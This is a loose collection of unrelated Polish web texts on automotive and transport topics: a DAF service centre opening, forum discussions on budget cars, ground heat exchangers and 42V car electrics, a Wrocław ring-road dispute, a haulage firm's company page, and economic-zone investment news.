Nowy serwis DAF na Lubelszczyźnie
Na terenie Lubelszczyzny działa nowy obiekt serwisowy firmy DAF należący do Grupy Wanicki.
Serwis znajduje się w Świdniku, przy 614 kilometrze drogi nr 12, 17 w kierunku Zamość - Chełm – kilometr od granicy Lublina. Położony jest na działce o powierzchni 1,7 ha. Powierzchnia dwukondygnacyjnego budynku to około 1500 m2, kubatura 11 000 m3. Serwis w Świdniku to lubelski oddział Grupy Wanicki, który został przeniesiony z budynku w Lublinie.



Warsztat posiada 4 przelotowe, w pełni wyposażone stanowiska obsługowo-naprawcze o szerokości 6 metrów i długości 27 metrów. Na dwóch z nich znajdują się kanały robocze, a jedno przygotowane jest pod montaż uniwersalnego podnośnika stemplowego. Serwis prowadzi działalność w zakresie napraw bieżących samochodów ciężarowych i osobowych, przeglądów okresowych, naprawy i kalibracji tachografów cyfrowych, naprawy i montażu agregatów chłodniczych, montażu urządzeń do poboru myta za korzystanie z autostrad w Niemczech – Toll Collect. W 2009 roku planowane jest również oddanie do użytku stacji kontroli pojazdów.

Podobnie jak pozostałe serwisy DAF prowadzi on sprzedaż części zamiennych i materiałów eksploatacyjnych.
Warsztat wyposażony jest w najnowsze urządzenia niezbędne do przeprowadzania napraw pojazdów na najwyższym poziomie tj. nowoczesny komputer diagnostyczny DAVIE, pozwalający na diagnozowanie pojazdów marki DAF oraz magazyn części zamiennych. Dostępny jest również 24-godzinny serwis awaryjnego firmy DAF ITS.

Jak każdy autoryzowany serwis firmy DAF, warsztat w Świdniku przeznaczony jest do obsługi wszystkich marek pojazdów ciężarowych przyczep i naczep oraz autobusów firmy BOVA. Na wyposażenie serwisu pozyskane zostały środki unijne w ramach Regionalnego Programu Operacyjnego Województwa Lubelskiego na lata 2007-2013, Oś Priorytetowa I – Przedsiębiorczość i Innowacje.

Warsztat obsługuje ośmiu wykwalifikowanych mechaników oraz pięć osób w punkcie obsługi klienta i magazynie. Grupa Wanicki oferuje również kontrakty serwisowe w ramach usługi DAF Multisupport. Klient w zamian za określoną miesięczną stawkę otrzymuje pełen serwis i obsługę w całej sieci serwisowej DAF, zarówno w kraju jak i za granicą.

Tradycyjnie dla obiektów serwisowych Grupy Wanicki, również najnowsza, świdnicka siedziba firmy wyposażona będzie w przyszłości w salon ekspozycyjny. Trzech handlowców obsługuje teren województwa lubelskiego.

etransport.pl

Musisz jasno sprecyzować swoje oczekiwania:
* ile km na m-c będziesz pokonywał,
* będziesz jeździł sam, czy z rodziną,
* trasy krótkie, czy dłuższe,
* etc..

Jeżeli na dojazd do pracy, bo wygodniej,
bo połączenie autobusowe kiepskie, to wystarczy maluch
(zakładając, że Twoja postura pozwoli Ci w miarę wygodnie się przemieszczać)
- koszt przejechania stu km ~22 zeta.
Jeżeli potrzebujesz jeździć z rodziną, np. żona + dwoje dzieci,
szukasz czegoś pakowniejszego, a na starcie niedrogiego
możesz rozważyć ładę, DF, polsze, inne o podobnym gabarycie.
Teraz kwestia liczby km, które zamierzasz pokonywać na m-c.
Ja, gdybym miał do przejechania do 500 km/m-c zostałbym przy benie,
powyżej - zasilanie gazem - koszt przejechania 100km moją ładą,
przy obecnie niemałej cenie za litr LPG wynosi ~21 - 22 zeta.
Więcej jeździsz - szybsze zużywanie się podzespołów,
zatem trzeba rozważyć dostępność, koszty części i koszty napraw.
W przypadku łady prawie nie ma problemu z częściami zamiennymi,
chociaż można trafić na podzespoły kiepskiej jakości.
Znakomitą część napraw wykonasz we własnym zakresie,
oszczędzasz na mechanikach.

O tym jakie usterki w ładach się pojawiają
oraz jak sobie z nimi radzić możesz poczytać na

http://motonews.pl/sh_forum.php?op=fvf&c=12&f=22&dtcat=1

Łada posiada walory trakcyjne (przyspieszenie, kierowalność),
oraz walory użytkowe (pakowność, dobre ogrzewanie, wygoda podróżowania),
które w pełni mnie satysfakcjonują.

Na starcie niedroga, w eksploatacji też.
Chociaż doprowadzenie jej stanu technicznego do poziomu, który mnie zadowala
pochłonęło nieco grosza i czasu (kompletny remont układu kierowniczego,
remont układu hamulcowego, łażyska z tyłu, wałek rozrządu z osprzętem,
nowe opony letnie, tylna szyba, akumulator, etc.),
to w tej chwili wsiadam i jadę; tankuję i kontroluję, to co niezbędne
(olej, spalanie, poziom płynu hamulcowego i chłodniczego, czystość szyb ;-)).

Nikt, nie pokusi się o podjęcie decyzji za Ciebie.

Pamiętaj:
NIE MA samochodów bezawaryjnych i bezobsługowych;
każde urządzenie jest z góry skazane na zużycie.
Ważne, aby solidnie ale i za rozsądna kasę zapewnić stan techniczny pojazdu
pozwalający na bezpieczne i komfortowe użytkowanie autka.

A kwestia marki...

Ja się wcale nie czuję gorszy od kolegów,
którzy pomykaja Calibrami, Corsami, Pandami i innymi nie wymienionymi.

Auto jest ŚRODKIEM, a nie CELEM, co nie znaczy,
że nie można uczynić z niego hobby, byle z głową.

To tyle, pozdrawiam !!!

=======================
NIECH MOC ŁAD BĘDZIE Z WAMI!!!

Witam

Witku, nigdy nie twierdziłem, że GWC nie działa. Oczywiście, że działa,
kwestią kluczową jest jednak jak działa i czy to się opłaca ?!   I jak się
przeanalizuje dokładnie to zagadnienie to niestety nie wygląda to tak
różowo
jak na stronach internetowych twojej firmy. Dla przykładu: podajesz, że
570m3 powietrza z GWC daje przy założonych parametrach ( nawiew 19 C ) 5
kW
mocy chłodniczej.


5kW - to jest moc całego wymiennika (kilku m3 żwiru) - obniżenie temp w
ekstremalnych
warunkach tzn z 36C do 19C (na wylocie z GWC) - nie widzę tu błędu.
Na str www zmienię 5kW na moc odnoszącą się do 1 m3/żwiru czyli 1,6kW
(latem)
i zimą 2kW/1m3 żwiru. To są wartości w ekstremalnych temperaturach +36C
i -20C

Otóż Witku, jest to po prostu okrutne


...bezduszne, nieludzkie, tragiczne, opłakane, katastroficzne, fatalne,
niewyobrażalne, mordercze, terrorystyczne, antysemickie...:)
kłamstwo, gdyż taka ilość powietrza o
tej temp. da maksymalnie 1,3 kW ( przy temp w budynku 26 C ), a tak mała


moc
Jesteś blisko - do obliczeń mocy GWC przyjmuje się średnio latem 1,2 kW i
1,4kW zimą
z 1m3 żwiru
- to jest wartość uzyskana w laboratorium. To jest wartość obliczeniowa a
nie max.
Tą moc trzeba pomnożyć przez ilość m3 żwiru w GWC wynik trzeba pomnożyć
przez współczynniki niedoskonałości jego wykonania, charakterystyka
otaczającego gruntu
(mokry, suchy, gliniasty, piaszczysty itp). Jeżeli grunt jest suchy,
piaszczysty moc GWC
spada - jego regeneracja jest utrudniona.

będzie  niezauważalna w domu, zwłaszcza, że aby ją wykorzystać należało by
pozamykać wszystkie okna co będzie raczej niemożliwe, bo kto by wytrzymał
przy takim upale w domu z pozamykanymi wszystkim oknami. Tak więc
użytkownik
nie otrzymuje dokładnie nic, a porównywanie tego z klimatyzacją jest
normalnym oszustwem.


Jeżeli przez 12h na dobę GWC daje 700m3 powietrza na godzinę o max temp 20C
dla
średniej wielkości domu jednorodzinnego jest wartością małą to ja Ciebie nie
rozumie
o co Ci chodzi

Jedyne sensowne zastosowanie takiego GWC jak
proponujesz to podgrzewanie ( schładzanie) powietrza wentylacyjnego np. do
rekuperatra. A to niestety słabiutki efekt jak na poniesione koszty, gdyż
po
prostu nie zwróci się w rozsądnym terminie. Tak więc, inwestycja w GWC
jest
nieopłacalna a funkcjonowanie tej instalacji jest nieskuteczne.


Nie będę drugi raz przytaczał oceny użytkowników - w poprzednim liście
była wyrażona. Poczytaj na temat GWC kilka artykułów są tam moje ale
również niezależnego dziennikarza z 1998r. Odnieś się do tych artykułów z
1998r
http://www.instalator.pl/Nwymienniki

Widzisz, GWC nie jest jakimś twoim wynalazkiem,


Nigdy i nigdzie nie pisałem, że to jest mój wynalazek. Ja tylko dodałem do
GWC
nowe elementy nigdzie wcześniej nie publikowane i to jest zastrzeżone

czy technologia odkrytą w
ostatnich latach, takie próby były już kilkadziesiąt lat temu, jednak z
powodu małej skuteczności i bardzo wysokich kosztów inwestycyjnych nigdy
się
nie rozpowszechniły.


Exbud z założenia w projekcie nie ma klimatyzacji od 14 lat - wszystkie
pomieszczenia w budynku są zasilane z GWC - patrz oświadczenie
Prezesa EXBUD-SKANSKA na str www.taniaklima.pl
Nikt absolutnie nikt (z wyjątkiem naukowców) nie był zainteresowany promocją
tego rozwiązania. Prawdopodobnie z powodów finansowych. Dużo więcej
można zarobić na produkcji i instalacji urządzeń klimatyzacyjnych niż na
- no i właśnie, kto i na czym ma tu zarobić?
Wykopać dziurę w ziemi i nasypać do niej żwiru, parę metrów rur,
trochę izolacji. Każdy, przesadzam, prawie Każdy potrafi to zrobić sam.

I raczej się nie rozpowszechnią, gdyż koszty budowy GWC
nie spadają a ceny urządzeń klimatyzacyjnych lecą na łeb, przy
jednoczesnym
wzroście ich sprawności dochodzącej obecnie do 500% ( c.o.p. 5 ).


I tu Cię boli - ja rozumie, że GWC to nie jest dla Ciebie dobry interes

gamber


Witek


http://miasta.gazeta.pl/wroclaw/1,35751,5892482,Obornicka__Bledne_kol...

Obornicka: Błędne koło z obwodnicą śródmiejską
Magda Nogaj
2008-11-07, ostatnia aktualizacja 2008-11-06 17:51

Z opóźnieniem rozpocznie się budowa kolejnego odcinka obwodnicy
śródmiejskiej. Trasa ma przecinać teren Targpiastu przy ul. Obornickiej,
ale kupcy nie chcą go opuścić. Twierdzą, że z winy miasta nie mają się
gdzie przenieść
Zobacz powiekszenie
Fot. Paweł Kozioł/AG
Targpiast to największa na Dolnym Śląsku giełda rolno-spożywcza.
Przyjeżdża tu codziennie kilkuset sprzedawców z całego regionu i kilka
tysięcy kupujących

Po wielu latach negocjacji 23 października Targpiast podpisał z miastem
porozumienie, że do końca ubiegłego miesiąca przekaże część swojego
terenu pod budowę obwodnicy. W budynkach przy ul. Obornickiej wciąż
jednak trwa handel. Chłodnie pełne są warzyw i owoców.

- Grozi nam, że budowa obwodnicy nie rozpocznie się w terminie - mówi
Marek Szempliński, rzecznik spółki miejskiej Wrocławskie Inwestycje,
która nadzoruje realizację tego zadania. - Teren Targpiastu jest nam już
teraz potrzebny, bo wykonawca ma tam urządzić bazę budowy, a to nie trwa
miesiąc. Poza tym trzeba tam przeprowadzić badania geologiczne, bo w tym
rejonie będzie się kończył wiadukt nad torami.

Targpiast twierdzi, że to z winy miasta nie może opuścić terenu. Jolanta
Rożak-Turowska, prezes zarządu spółki: - Dopiero 23 października miasto
przekazało nam działkę, gdzie możemy przenieść handel. Gdyby zrobiło to
kilka lat temu, gdy zaczęliśmy się o to ubiegać, już dziś mielibyśmy
nową halę. Nie byłoby więc żadnego problemu z przeprowadzką. Teraz
oczekuje się od nas, że z dnia na dzień wyrzucimy kupców na bruk.

Obwodnicę ma budować firma Skanska. Zgodnie z harmonogramem prac na
teren przy Obornickiej powinna wkroczyć już w przyszłym tygodniu. - Nie
rozumiem tego zamieszania. Jeżeli strony podpisały porozumienie, to
chyba znaczy, że się porozumiały - mówi Dariusz Kotarski, menedżer
projektu z firmy Skanska. - Jeżeli nie przejmiemy terenu w terminie,
mamy prawo dochodzić roszczeń z powodu niedotrzymania przez miasto
zobowiązań zawartych w umowie. Mam nadzieję, że tak się nie stanie.

Targpiast zapowiada, że na razie nie zamierza się przeprowadzać. - Nie
opuścimy terenu, dopóki nie wybudujemy nowej hali - grozi prezes
Rożak-Turowska. - Technologia jest teraz tak nowoczesna, że moglibyśmy
postawić ją w dwa miesiące. Jednak nie mamy pieniędzy.

Żeby zdobyć fundusze, spółka zdecydowała się wynająć jedną z
istniejących już hal. Firma leasingowa zażądała jednak, by Targpiast
zdobył od miasta gwarancję, że hala mimo prowadzonej obok budowy będzie
miała dostęp do drogi.

- Władze miasta nie chcą wydać tego dokumentu, dopóki nie opuścimy
terenu - mówi prezes Targpiastu. - Przez brak jednego podpisu robi się
błędne koło.

Na terenie Targpiastu w charakterze straszaka pojawiła się już firma
ochroniarska wynajęta przez spółkę Wrocławskie Inwestycje. Jednak
konflikt może skończyć się w sądzie, co jeszcze bardziej opóźniłoby
budowę obwodnicy.



| Drugi właściciel i tak kupi,

Zeby kupil to marka nie moze miec opinii "fiaty sie ciagle psuja"


Z drugiej strony ten klient też zazwyczaj swój rozum ma i wie że psują
się dziesięcioletnie Fiaty.
Poza tym każdy ma jakieś swoje priorytety, zwłaszcza jak dotychczas
jeździł jakimś starym samochodem i to że samochód dwa razy do roku
trzeba na kilka dni odstawić do warsztatu to jest jeszcze ok, a
elektronika sterująca silnikiem to element eksploatacyjny :)

Tylko ze wtedy pojdzie do konkurencji, gdzie mu dadza tani leasing,
bo uzywane auto sie sprzeda za 50 tys :-)


Akurat rynek używek tak już wygląda że używane samochody są warte niewiele.
Czy świadczy to o ich faktycznej wartości, czy raczej to ceny nowych
samochodów windowane są tym że temu kto je kupuje nie zależy, to już nie
wiem.

| Klima jednak też w cenie - jakby nie patrzeć trochę podzespołów to tam jest.

Dwie chlodnice i pompa. W kosztach wytworzenia nie takie znow drogie
..


No niby nie, ale jednak to kolejny element który swoje kosztuje.
A urządzenia chłodnicze i tak tanie nie są - nawet nie samochodowe.

| Do tego ABS-y, ESP i różne inne takie.

A to owszem, troche podraza.


No i tak grosz do grosza i się uzbiera.

W dodatku ceny samochodów rosną, bo i samochody rosną.
Jeżeli porównywać Vectrę A z współczesnymi Oplami, to odpowiada najwyżej
dzisiejsze Astrze - zarówno pod względem wielkości, silników,
wyposażenia (już nawet pomijając to co wtedy nie było dostępne).

Podobnie inne marki - Taki Golf I czy II to dziś góra się może równać z
Polo.

Samochody przez te lata urosły wręcz klasę do góry - ceny więc również.

| Ani chyba taka bardzo droga. Podobnie z silnikami - europejskie
| wyraznie sie wzmocnily, ale to mozna na rozne sposoby osiagnac.
| Ale mimo wszystko to jest też technologia.
| To że dziś robi się diesle które mają prawie po 100KM z litra, to nie
| jest takie sobie wzięte z kapelusza marketoida, a te możliwości
| stworzyła nowa technika, nowe materiały, patenty, a to jednak kosztuje.

Tylko ze klienta nie interesuje moc z litra. Mozna mu dac wiekszy
silnik bez technologii :-)


No interesuje go jak tylko będzie miał zapłacić ubezpieczenie, w
zasadzie na stacji benzynowej też go to zainteresuje.

Zamiast V6 o dzikim apetycie, zrobi się mu R4 turbo który będzie palił
mniej, jeździł dość podobnie, a przeżyje zamiast 500tys km, to 250tys km
bez remontu.
Do tego spełni ostrzejsze normy emisji spalin.

Co do ekologii to też nie ma co się zapierać - jakby nie patrzeć to to
dobre jest, bo samochodów coraz więcej a powietrza jakby nie.
A jak komuś bardzo ekologia przeszkadza to ma chip-tuning ;)



| Ale jest 42 :-) W koncu 12V to tez kiedys umowne.

A niech bedzie umowne 42, jakby blizsze prawdy.
Ale te umowne 48 to chyba mialo byc 4*12, co sie stalo ze nie
wejdzie ?


Byc moze chca wyeliminowac olow z akumulatorow (to tylko domysl).
W tej chwili olow jest uwazany za silna trucizne i wyrzucanie akumulatorow
na zlomowiska jest w USA zabronione, co oczywiscie nie oznacza,
ze sie nie zdarza :-( Komory dzialajace w oparciu o ogniwo pracujace
na innych kombinacjach metali (lub innych substancji) moga miec inne
napiecie komory. Polaczenie okreslonej liczby komor moze dac na przyklad
42V i wtedy wyjdzie 42V system. Byc moze w efekcie spotkan SAE ustali 48V.
Wiele firm (Bosch, Visteon, Delphi itp) napewno prowadzi juz jakies prace
i napewno przyjelo jakies napiecie za punkt wyjscia. Prawdopodobnie
nie sa to identyczne napiecia, bedziemy wiec swiadkami tarc politycznych
i pozakulisowych naciskow aby za standard przyjac to a nie inne napiecie,
zmuszajac konkurenta do cofniecia sie odrobine w postepie swoich prac.
Jezeli mierzyc doswiadczeniem VHS versus Beta nie jest powiedziane, ze
zwyciezy napiecie "najlepsze" :-) Poczekamy, zobaczymy.

| No fakt. Przewody i uzwojenia na 250A grube sa ..
| Nie, stosuje sie dwa alternatory.

A, to juz cena rosnie do 400$ :-)


Nie. Rozrusznik jest nadal jeden. Najwyzej wyjdzie 300 USD :-)

W czym lepsze dwa od jednego wiekszego ?


To dosyc proste. Podwojne alternatory dostaja pojazdy typu ambulans,
samochod strazy pozarnej czy niektore pojazdy patrolowe policji.
Sa to bardzo krotkie serie produkcyjne. Dla takich serii nikt przy zdrowych
zmyslach nie bedzie uruchamial produkcji alternatora produkujacego
powiedzmy 2400 W. ZNACZNIE taniej wyjdzie zastosowac dwa o mocy 1200 W
normalnie produkowane do seryjnych pojazdow. Zreszta alternatory o mocach
powyzej 1200W same w sobie staja sie dosyc drogimi urzadzeniami. Przy
alternatorach produkujacych powyzej 1200W przez dluzsze okresy czasu
stosuje sie wrecz chlodzenie ciecza a wiec dochodzi uklad chlodniczy.
Myslisz, ze tak latwo podniesc sobie z 1200W na 3000W ?

| Moze 8.2 ? Mysle, ze to przyblizony rzad wielkosci.

3 razy wyzsze napiecie - wypadaloby 9kW...


Tak, ale proste mnozniki to tylko wartosci szacunkowe. Stosowanie
wzoru "Moc = napiecie * natezenie" wogole nie naklada zadnych ograniczen na
wielkosc produkowanej mocy. Ograniczenia te wynikaja z cech materialowych,
przewodnictwa cieplnego, wlasnosci magnetycznych, polprzewodnikow o sensownych
cenach itp ograniczen inzynierskich, ktorych prostacki wzor "czystej matematyki"
wogole nie porusza :-)
Jak latwo zauwazysz, zadna z wymienionych cech nie jest ujeta prostym liniowym
wzorem. Stosowanie wiec linowych przyblizen jako "dokladnych" szacunkow
prowadzi najwyzej do szumu informacyjnego niz do tego co faktycznie
da sie sensownie wyprodukowac. Zwroc uwage na slowo sensownie :-)
To co dzis jest malo ekonomiczne moze dac sie wyprodukowac za 10 lat
oplacalnie :-)

| Sprawnosc paska to male piwo. Ciekawy bedzie pasek przenoszacy 8kW mocy.

W tokarkach sie stosowalo, nawet wieksze moce.
Fakt - to nei byl jeden pasek tylko kilka, ale to nawet lepiej
[niezawodnosc], a nowe materialy i ksztalty moze pozwola na jednym
zrobic ..


Nie twierdze, ze tego sie nie da zrobic. Pewnie sie da, tylko, ze moze byc
duze :-) i na dodatek nie bardzo potrzebne. 3000W mocy bedzie przeciez
potrzebne dosyc rzadko. Wiekszosc czasu pojazdo potrzebuje jedynie
kilkaset W mocy. Mozna sobie wyobrazic sytuacje, w ktorej caly
osprzet wspomagania i silnika jest napedzany elektrycznie z zaworami wlacznie.
W takiej sytucaji taki alternator moze byc wrecz sensownie wbudowac
w kolo zamachowe silnika wprost na wale korbowym, lub wbudowac w miske olejowa,
napedzac przekladnia zebata z walu i chlodzic olejem silnika.

| Podejrzewam, ze wiele firm popiera ta zmiane bo to nowy interes dla nich.
| Szczegolnie firmy bogatsze, ktore stac na inwestycje. Pozbeda sie na dluzszy
| czas drobnej konkurencji bez kapitalu na nowosci.

W elektroosprzecie to sie chyba zawioda, bo przerobic na inne napiecie
to niewielka filozofia. W elektronice podobnie. Te nowe oswietlenie
moze im przyniesc spodziewane zyski.
A my biedni juz nie damy rady zmienic sami zarowki ..


Oswietlenie to tylko czesc zyskow. Do tego dochodza silniki elektryczne,
uklady elektroniki pojazdowej i rozrywkowej (radia itp), uklady deski
rozdzielczej, przekazniki, przelaczniki, nowe wtyczki i polaczenia, inne
przewody, inne izolacje. Firmy takie jak Delphi, Bosh, Magnetii Marelli,
Visteon itp stac na taka inwestycje. Male firmy "pirackie" produkujace
tansze kopie na rynek czesci zamiennych beda znacznie wolniejsze
w wejsciu na ten rynek. Dla rekinow nawet takie "chwilowe" zyski
sa warte zachodu :-)

J.


Uklony


Nasza firma należy do przodujących przedsiębiorstw transportowych na rynku międzynarodowym. Firma została założona w 1979 roku a od roku 1993 przewozimy towary w komunikacji międzykrajowej. Dzisiaj kompleksowo obsługujemy dział importu i eksportu. Nasza nowoczesna spedycja dysponuje 25 pojazdami marki Volvo wyposażonymi w najnowsze urządzenia informacyjno-techniczne. Perfekcyjna logistyka jak i zarówno doświadczony zespół pracowników gwarantują z naszej strony najwyższy standart usług w branży transportowej.
Naturalnie każde przedsięwzięte działanie ma na celu dalszy swój rozwój. W tym właśnie kierunku widzimy naszą przyszłość. Jednym z celów naszej firmy jest stały jej rozwój, aby być optymalnie przygotowanym na poszerzenie działalności. Szczególny nacisk kładziemy na stałe podnoszenie kwalifikacji naszych pracowników poprzez odpowiednie szkolenia Chcemy również rozszerzyć tabor, dbając o nowoczesne techniczne wyposażenie i spełniając oczywiście najwyższe normy emisji spalin. Sumienna współpracę z naszymi obecnymi jak i przyszłymi klientami pozostanie naszym głównym celem. Nie planujemy tylko naszej przyszłości, myślimy o przyszłości naszych klientów.
Przedsiębiorstwo nasze specjalizuje się w kompleksowej obsłudze transportu i zadań spedycyjnych w zakresie importu i eksportu. Zarówno zakres organizacji jak i transportu są odpowiednio dostosowane do wszelkich wymogów miedzynarodowych. Wysoko wykwalifikowana kadra pracowników biurowych zapewnia sprawną i dokładną organizację całego przebiegu transportu, załatwienie wszelkich wymaganych formalności czy też pożądanych dokumentów. Także nasz nowoczesny tabor odpowiada wymaganemu standartowi europejskiemu. Urządzenia OBU 2.0 w każdym ciągniku umożliwiają szybkie i automatyczne uaktywnienie opłat za myto. Posiadamy podwójne podłogi w naczepach chłodniczych ( z możliwością załadunku do 66 europalet ). Spezializujemy się w transporcie towarów wymagających określonej temperatury podczas transportu (temperatury dodatnie i ujemne - od -25 do +30 stopni C). Wykonujemy także transporty materiałów niebezpiecznych w ramach uprawnień ADR. Do naszych głównych klientów należą europejskie firmy produkcyjne z branży spożywczej, kosmetycznej i chemicznej, z którymi w większości wiąże nas stała, wieloletnia współpraca.
Filozofia i strategia naszego przedsiębiorstwa wiąże się z wysoką jakością i wydajnością naszej pracy. Przy konkretnym wykonaniu zadań w zakresie transportu oznacza to rzetelność i szczegolnie bezpieczeństwo. Sprawna organizacja działalności, skrupulatna dokumentacja i nadzorowanie wszystkich zadań zapewniają wykonanie transportu, załadunku i rozładunków w preferowanych przez klienta warunkach i terminie. Ubezpieczamy wszystkie ładunki i dbamy o zabezpieczenie i kontrolę towarów w czasie transportu. Naturalnie przestrzegamy ściśle wszelkie przypisane środki ostrożności . Poprzez telefonię komórkową posiadamy bieżący kontakt z kierowcami. Nasi kierowcy posiadają odpowiednie kwalifikacje i doświadczenie w ruchu zagranicznym, jak również konieczne dodatkowe uprawnienia ADR do przewozu niebezpiecznych ładunków. Szczególną zaletą naszej działalności jest podwójna obsada kierowców przy każdym transporcie. Zapewnia to dodatkowe bezpieczeństwo jak i szybkość dostawy towaru. Stale dbamy aby pojazdy jak i powierzone towary były pewne i bezpieczne w drodze
Telefon +48 / 32 / 4 51 25 10
+48 / 32 / 4 53 02 53
+48 / 601 99 97 07
+48 / 601 99 99 52
Telefax +48 / 32 / 4 51 24 11
e-mail spedycja@koloczek.pl

Dział księgowości Aleksandra Mołdrzyk Telefon +48 / 32 / 4 53 02 54
e-mail koloczek@koloczek.pl

Dział kadr Marzena Kwiatkowska Telefon +48 / 32 / 4 53 02 54
e-mail kadry@koloczek.pl

Oddział Delbrück
Deutschland Marian Koloczek Telefon +49/ 5250 / 93 24 65
Telefax +49/ 5250 / 93 24 66
e-mail m.koloczek@t-online.de


Blisko 650 nowych miejsc pracy zamierzają stworzyć w Katowickiej Specjalnej Strefie Ekonomicznej (KSSE) trzej inwestorzy: polsko-szwedzka spółka Takoni, włoska Sest-Luve oraz Valeo Electric and Electronic Systems z międzynarodowej grupy motoryzacyjnej. Łącznie zainwestują ponad 155 mln zł.
Jak podali w czwartek przedstawiciele KSSE, największą nową inwestycją będzie przedsięwzięcie grupy Valeo, która w swojej fabryce w Czechowicach-Dziedzicach utworzy 500 nowych miejsc pracy i zainwestuje ponad 122 mln zł. Produkowane będą tam części motoryzacyjne - rozruszniki i alternatory. Spółka otrzymała już pozwolenie na działalność w KSSE, co jest warunkiem korzystania z ulg, przysługującym inwestorom w strefach.

Valeo to międzynarodowa grupa wyspecjalizowana w projektowaniu, wytwarzaniu i sprzedaży części i systemów samochodowych. Należy do czołówki światowych producentów części zamiennych. Jej roczne obroty to ponad 10 mld euro. Partnerami grupy są producenci aut we Francji (Renault, Peugeot, Citroen), Włoszech (Fiat, Lancia, Alfa Romeo), Niemczech (Volkswagen, Audi, GM Opel, Daimler-Chrysler), i Korei (Hyundai). Na całym świecie grupa zatrudnia ponad 72 tys. osób.

W Polsce Valeo działa od 1996 roku, kiedy uruchomiła tu swój pierwszy zakład; obecnie ma ich pięć - fabryka w Czechowicach- Dziedzicach zajmuje się m.in. produkcją podzespołów do rozruszników i alternatorów oraz kompresorów do klimatyzacji samochodowych, oddziały w Skawinie specjalizują się projektowaniu, modernizowaniu i produkcji wymienników ciepła dla motoryzacji oraz produkcji wycieraczek samochodowych, oddział w Tychach montuje moduły czołowe i chłodzące dla aut, a fabryka w Chrzanowie wytwarza lampy samochodowe.

Drugie nowe przedsięwzięcie w KSSE zrealizuje włoska spółka Sest-Luve, której fabryka od 2002 roku istnieje już w gliwickiej części strefy. Nowa inwestycja pochłonie 24,8 mln zł i będzie oznaczać zatrudnienie co najmniej 30 kolejnych pracowników. Spółka rozbuduje halę produkcyjną i zamontuje kolejne linie do wytwarzania elementów i urządzeń do aparatury chłodniczej. Chodzi m.in. o wymienniki ciepła do lad chłodniczych.

Na niespełna 2,5-hektarowqej działce w Bielsku-Białej zainwestuje natomiast spółka Takoni, z mieszanym, szwedzkim i polskim kapitałem. Przy produkcji wyrobów z tworzyw sztucznych, gumy i metalu pracę znajdzie ok. 110 osób, a przedsięwzięcie będzie kosztować 8,4 mln zł. Odbiorcami wyrobów będą firmy motoryzacyjne. Nowa inwestycja także dla tej firmy oznacza rozwój prowadzonej już w Bielsku działalności.

Wcześniej, w kwietniu, na nowe inwestycje w KSSE zdecydowały się inne firmy, już działające w strefie: koncern Caterpillar (stalowe elementy do maszyn budowlanych), firma Ergom Poland (produkty z tworzyw dla motoryzacji i agd) oraz Fabryka Plastików Gliwice (tworzywa sztuczne dla przemysłu motoryzacyjnego i elektronicznego). Ich nowe inwestycje pochłoną łącznie blisko 70 mln zł i dadzą prawie 300 miejsc pracy.

W końcu marca poinformowano, że inwestycję w KSSE ulokuje też firma Logstor Ror Polska z duńskiej grupy kapitałowej, która kosztem 25,6 mln zł wybuduje w Gliwicach fabrykę wyrobów z tworzyw sztucznych i zatrudni co najmniej 45 osób. Natomiast w Katowicach ruszy centrum obsługi informatycznej amerykańskiej firmy konsultingowej Capgemini. Pracę znajdzie co najmniej 410 osób.

W całym 2007 roku zarząd strefy spodziewa się pozyskania inwestycji o łącznej wartości ok. 1 mld zł i stworzenia dzięki nim ponad 3,1 tys. miejsc pracy. Powołana ponad 10 lat temu KSSE to największa z 14. polskich stref ekonomicznych. Początkowo obejmowała ok. 800 hektarów, obecnie ponad 1,2 tys. ha. Docelowo może to być nawet 1,5-2 tys. ha. Inwestorzy stworzyli dotąd w KSSE 25 tys. nowych miejsc pracy, inwestując ponad 8,5 mld zł.

W ubiegłym roku w całej KSSE inwestorzy zadeklarowali 36 nowych przedsięwzięć o łącznej wartości ok. 1,5 mld zł. Powstanie w sumie co najmniej 4,2 tys. nowych miejsc pracy.

Wymienniki ciepła z Oławy

Autor: Ryszard Mulek

W Oławie trwają intensywne prace przy budowie zakładu, w którym produkowane będą wymienniki ciepła do układów klimatyzacyjnych dla autobusów, specjalistycznych samochodów ciężarowych oraz maszyn budowlanych. Jego inwestorem jest wrocławska firma UWE Polska sp. z o.o., będąca częścią kanadyjskiej firmy Mobile Climate Control Industries INC, specjalizującej się w produkcji urządzeń chłodniczych, grzewczych i wentylacyjnych dla przemysłu motoryzacyjnego
Zakład powstaje na 2,5-hektarowej działce, na terenie oławskiej podstrefy zarządzanej przez Wałbrzyską Specjalną Strefę Ekonomiczną Invest-Park. Kanadyjska firma na jego budowę, a tym samym na przeniesienie do Polski części produkcji ze swoich zakładów w Kanadzie i Szwecji, zdecydowała się między innymi dlatego, żeby być bliżej swoich klientów, w tym wrocławskich zakładów Volvo, sanockiego Autosanu oraz słupskiej Kapeny. Poza tym w Polsce tańsza jest siła robocza. Firma działając na terenie specjalnej strefy ekonomicznej może liczyć także na liczne ulgi podatkowe.

Budowana hala, w której produkcja ma ruszyć w styczniu 2008 roku, będzie miała 6200 metrów kwadratowych. Na jej znacznej powierzchni, bo aż na 5700 metrów kwadratowych, usytuowana zostanie część produkcyjna oraz magazyny komponentów i wyrobów wyprodukowanych. W części produkcyjnej zainstalowane zostaną trzy nowoczesne linie. Na pierwszej będzie się odbywała produkcja, na drugiej montowanie wymienników, a na trzeciej formowanie obudów z aluminiowych i miedzianych blach. Z kolei część biurowa powstanie na dwóch kondygnacjach, na powierzchni 500 metrów kwadratowych. Koszt inwestycji pochłonie co najmniej 19 milionów złotych

Remigiusz Gromiec z UWE Polska sp. z o.o.: - Zgodnie z harmonogramem budowa hali powinna się zakończyć 15 października, a pod koniec listopada firmy budowlane mają zejść z placu budowy. Natomiast w styczniu planujemy rozpocząć produkcję i zatrudnić 95 osób. Na tym nie zamierzamy poprzestać. Jeżeli zapotrzebowanie na nasze wyroby będzie wzrastało wówczas zatrudnienie zwiększymy do 150 osób. W planach mamy dalszą rozbudowę zakładu. Dziś nie potrafię jednak powiedzieć, kiedy to się stanie, za dwa, czy może dopiero za trzy lata. Jedno jest pewne. Na działce, którą dysponujemy w Oławie, jest możliwość wzniesienia drugiej hali o powierzchni od 4,5 do pięciu tysięcy metrów kwadratowych, a wówczas zatrudnienie wzrośnie do 250 pracowników.

UWE Polska sp. z o.o.

w 2000 roku wydzieliła się ze szwedzkiej firmy UWE Verken. Pięć lat później wszystkie akcje szwedzkiej firmy, a w tym UWE Polska, kupiła kanadyjska firma Mobile Climate Control Industries INC, której główna siedziba znajduje się w Toronto. MCC swoje zakłady ma także w Szwecji, USA i Niemczech.

http://www.biznespolska.pl/gazeta/artic ... tid=147431

